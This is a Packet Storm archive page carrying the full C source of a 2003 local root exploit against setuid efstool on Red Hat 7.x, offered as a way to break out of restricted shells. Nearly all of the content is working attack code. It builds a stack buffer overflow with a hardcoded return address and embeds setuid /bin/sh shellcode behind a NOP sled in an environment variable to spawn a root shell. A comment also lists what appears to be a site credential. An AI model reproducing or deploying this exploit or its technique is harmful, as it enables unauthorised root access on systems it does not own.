what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

efstool-local.c

efstool-local.c
Posted Feb 19, 2003
Authored by C0w-d0g

Efstool Local root exploit for redhat. Requires efstool to be +s for root exploitation. Useful for breaking out from restricted shells. Tested on Redhat 7.1, 7.2, and 7.3.

tags | exploit, shell, local, root
systems | linux, redhat
SHA-256 | 56fbeadf6c3197a29e31b79d12722accbedb224cb521f2116eb46f376cf8854d

efstool-local.c

Change Mirror Download
/* efstool Local root exploit for redhat */
/* Requires efstool to be +s for root exploitation */
/* A good way to break from restricted Shells... */
/* Tested on Redhat 7.1/2/3 */

/* c0w_d0g3@yahoo.co.uk */
/* uk2sec */
/* http://oakey.no-ip.com:82/uk2sec/ */
/* kiddie:password */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

/* c0w_d0g3@yahoo.co.uk */
/* Include libraries */

/* This is LINUX setuid /bin/sh shellcode */


int main()
{

char linuxshellcode[] =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\xeb\x16\x31\xdb\x31\xc9\xf7\xe1"
"\x5b\xb0\x0b\x88\x53\x07\x52\x53"
"\x89\xe1\xcd\x80\xb0\x01\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

unsigned long sp(void)
{ __asm__("movl %esp, %eax"); }

/* This returns the stack pointer and lets us put it into esp*/

char buffer[3000];
long esp = sp();
long retaddr = 0xbfffff8a; /* The return address */
int padding = 2684;
char shell[512];

printf("c0w_d0g3 uk2sec\n");
printf("\nThis is a local exploit for /usr/bin/efstool\n");
printf("\nEnsure efstool is +s or you'll not get far\n");
printf("\n The stack pointer is at : %x\n", esp);
printf(" The return address is at : %x\n", retaddr);

/* Building the buffer */

bzero(&buffer, sizeof(buffer));
memset(buffer,'A',padding); //size of buffer
*(unsigned long *)(buffer+strlen(buffer))=retaddr; //return address
printf("\nthe ret is : 0x%x", retaddr);
memset(shell,0x90,100);
memcpy(&shell[100-strlen(linuxshellcode)],linuxshellcode,strlen(linuxshellcode));
memcpy(shell,"SHELLCODE=",10);
putenv(shell);

execl("/usr/bin/efstool", "efstool", buffer, NULL);

}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close